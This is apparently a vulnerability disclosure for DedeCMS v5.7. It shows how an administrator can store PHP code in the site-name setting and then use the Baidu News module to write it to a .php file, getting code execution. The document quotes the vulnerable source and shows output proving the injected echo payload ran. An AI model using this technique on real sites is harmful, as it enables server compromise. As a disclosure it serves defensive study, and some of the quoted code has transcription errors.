

Dedecms get shell by Baidu Site News Module

Attacker can install or uninstall the default module by dedecms when he logged in the backstage management system. He can edit site's basic information such as site title and so on. Meanwhile, attacker can make adjustment to the default module.

There is one default module named '百度新闻' that was installed by default.

The screenshot shows the DedeCMS v5.7 backstage interface. The left sidebar has categories like '核心模块生成采集会员模板系统' with '模块管理' expanded, showing '辅助插件' with '百度新闻' selected (circled in red). The main content area shows the '辅助插件' section for '百度新闻地图'. It includes a description of the Baidu News Open Protocol, configuration notes, and a '设置' (Settings) section with a file input field containing `./data/baidunews.php`. A success message at the bottom says `./data/baidunews.php make success`.

As you can see, we can modify the filename we expected. And when we click button titled '开始生成', the file will be generated.

Relative file:

```
./dede/baidunews.php
```

Code:

```
<?php
/**
 * 百度新闻
 *
 * @version $Id: baidunews.php 1 14:31 2010年7月12日Z tianya $
 * @package DedeCMS.Administrator
 * @copyright Copyright (c) 2007 - 2010, DesDev, Inc.
 * @license http://help.dedecms.com/usersguide/license.html
 * @link http://www.dedecms.com
 */
require_once(dirname(__FILE__)."/config.php");

if(empty($do))
{
include DEDEADMIN.'/templets/baidunews.htm';
} else {
$baidunews = "<?xml version=\"1.0\" encoding="" . $cfg_soft_lang. "?" ?>\n";
$baidunews .= "<document>\n";
$baidunews .= "<webSite>$cfg_webname </webSite>\n";
$baidunews .= "<webMaster>$cfg_adminemail </webMaster>\n";
$baidunews .= "<updatePeri>$cfg_updateperi </updatePeri>\n";

$limit = $cfg_baidunews_limit;
if($limit > 100 || $limit < 1)
{
$limit = 100;
}
```

```
$query = "SELECT maintable.*, addtable.body, arctype.typename
FROM #@__archives maintable
LEFT JOIN #@__addonarticle addtable ON addtable.aid=maintable.id
LEFT JOIN #@__arctype arctype ON arctype.ID=maintable.typeid
WHERE maintable.channel=1 and maintable.arcrank!=-1 ORDER BY maintable.pubdate DESC LIMIT $limit
";
$dsql->SetQuery($query);
$dsql->Execute();
while($row = $dsql->GetArray())
{
$title = dede_htmlspecialchars($row['title']);
$row1 = GetOneArchive($row['id']);
if(strpos($row1['arcurl'],'http://') === false)
{
$link = ($cfg_basehost==" ? 'http://'. $_SERVER["HTTP_HOST"] . $cfg_cmxpath : $cfg_basehost).$row1['arcurl'];
}else
{
$link = $row1['arcurl'];
}
$link = dede_htmlspecialchars($link);
getDescription = dede_htmlspecialchars(strip_tags($row['description']));
$text = dede_htmlspecialchars(strip_tags($row['body']));
$image = $row['litpic'] == " ? " :$row['litpic'];
if($image != " && strpos($image, 'http://') === false)
{
$image = ($cfg_basehost==" ? 'http://'. $_SERVER["HTTP_HOST"] . $cfg_cmxpath : $cfg_basehost).$image;
}
//$/headlineimg = "";
$keywords = dede_htmlspecialchars($row['keywords']);
$category = dede_htmlspecialchars($row['typename']);
$author = dede_htmlspecialchars($row['writer']);
$source = dede_htmlspecialchars($row['source']);
$pubdate = dede_htmlspecialchars(gmdate('Y-m-d H:i',$row['pubdate'] + $cfg_cli_time * 3600));

$baidunews .= "<item>\n";
$baidunews .= "<title>$title </title>\n";
$baidunews .= "<link>$link </link>\n";
```

```

$baidunews .= "<description>$description </description>\n";
$baidunews .= "<text>$text </text>\n";
$baidunews .= "<image>$image </image>\n";
//$baidunews .= "<headlineimages/>\n";
$baidunews .= "<keywords>$keywords </keywords>\n";
$baidunews .= "<category>$category </category>\n";
$baidunews .= "<author>$author </author>\n";
$baidunews .= "<source>$source </source>\n";
$baidunews .= "<pubDate>$pubdate </pubDate>\n";
$baidunews .= "</item>\n";
}
$baidunews .= "</document>\n";

$fp = fopen(dirname(__FILE__).'/'.$filename,'w');
fwrite($fp,$baidunews);
fclose($fp);
showmsg("<a href='{$filename}' target=\"_blank\">{$filename} make success</a>", 'javascript:;');
}

```

Easily we can find the filename is directly used to generate new file by the code pasted below.

```

$fp = fopen(dirname(__FILE__).'/'.$filename,'w');
fwrite($fp,$baidunews);
fclose($fp);

```

At the same time, contents is stored by the variable '\$baidunews'. It's consists of global variable such as \$title, \$link, \$description and so on.

```

$baidunews .= "<item>\n";
$baidunews .= "<title>$title </title>\n";
$baidunews .= "<link>$link </link>\n";
$baidunews .= "<description>$description </description>\n";
$baidunews .= "<text>$text </text>\n";
$baidunews .= "<image>$image </image>\n";
//$baidunews .= "<headlineimages/>\n";
$baidunews .= "<keywords>$keywords </keywords>\n";
$baidunews .= "<category>$category </category>\n";
$baidunews .= "<author>$author </author>\n";

```

```

$baidunews .= "<source>$source </source>\n";
$baidunews .= "<pubDate>$pubdate </pubDate>\n";
$baidunews .= "</item>\n";

```

Therefore , at first,we just modify these global variable.Take **\$title** for example,we can modify it in the page '系统' -> '系统基本参数' ->'网站名称' as below,

The screenshot shows the DedeCMS v5.7 system configuration interface. On the left sidebar, under the '系统' (System) category, the '系统基本参数' (Basic System Parameters) option is highlighted with a red circle. In the main content area, there is a table titled 'DedeCMS 系统配置参数' (DedeCMS System Configuration Parameters). The '网站名称' (Website Name) field contains the value '我的网站<?php echo 1?>', which is highlighted with a red circle. An arrow points from the '系统基本参数' link on the sidebar to the '网站名称' field.

参数说明	参数值	变量名
站点根网址:	http://dedecms.local	cfg_basehost
网页主页链接:	/	cfg_indexurl
主页链接名:	主页	cfg_indexname
网站名称:	我的网站<?php echo 1?>	cfg_webname
文档HTML默认保存路径:	/a	cfg_arcdir
图片/上传文件默认路径:	/uploads	cfg_medias_dir
编辑器(是/否)使用XHTML:	<input type="radio"/> 是 <input checked="" type="radio"/> 否	cfg_fck_xhtml
模板默认风格:	default	cfg_df_style
网站版权信息:	Copyright © 2002-2017 DEDECMS. 织梦科技 版权所有	cfg_powerby
站点默认关键字:		cfg_keywords

then go back to page '模块' -> '百度新闻' and modify the filename ends with '.php' & click the button titled '开始生成'. Finally we get shell.

DEDECMS v5.7

您好: admin , 欢迎使用DedeCMS! 主菜单 内容发布 内容维护 系统主页 网站主页 会员中心 注销 快捷方式 +

隐藏菜单 功能地图 功能搜索 搜索 官方论坛 在线帮助

核心 模块 生成 采集 会员 模板 系统

模块管理 上传新模块 模块生成向导 辅助插件 插件管理器 挑战管理 百度新闻 文件管理器 广告管理 友情链接 投票模块 德得广告 德得模块 广告管理 本系投票

百度新闻地图

《互联网新闻开放协议》是百度新闻搜索制定的搜索引擎新闻源收录标准，网站可将发布的新闻内容制作成遵循此开放协议的XML格式的网页（独立于原有的新闻发布形式）供搜索引擎索引。

详情参见
配置的相关参数在【系统设置 -> 其他选项】中调整
只适用于文章频道，数据表为DedeCMS默认的

设置：
文件名: 开始生成

状态：



generated file: './data/baidunews.php'

```
/L/W/D/t/dedecms> cat ./data/baidunews.php
<?xml version="1.0" encoding="utf-8" ?>
<document>
<webSite>我的网站<?php echo 1?> </webSite>
<webMaster>desdev@vip.qq.com </webMaster>
<updatePeri>15 </updatePeri>
</document>
/L/W/D/t/dedecms>
```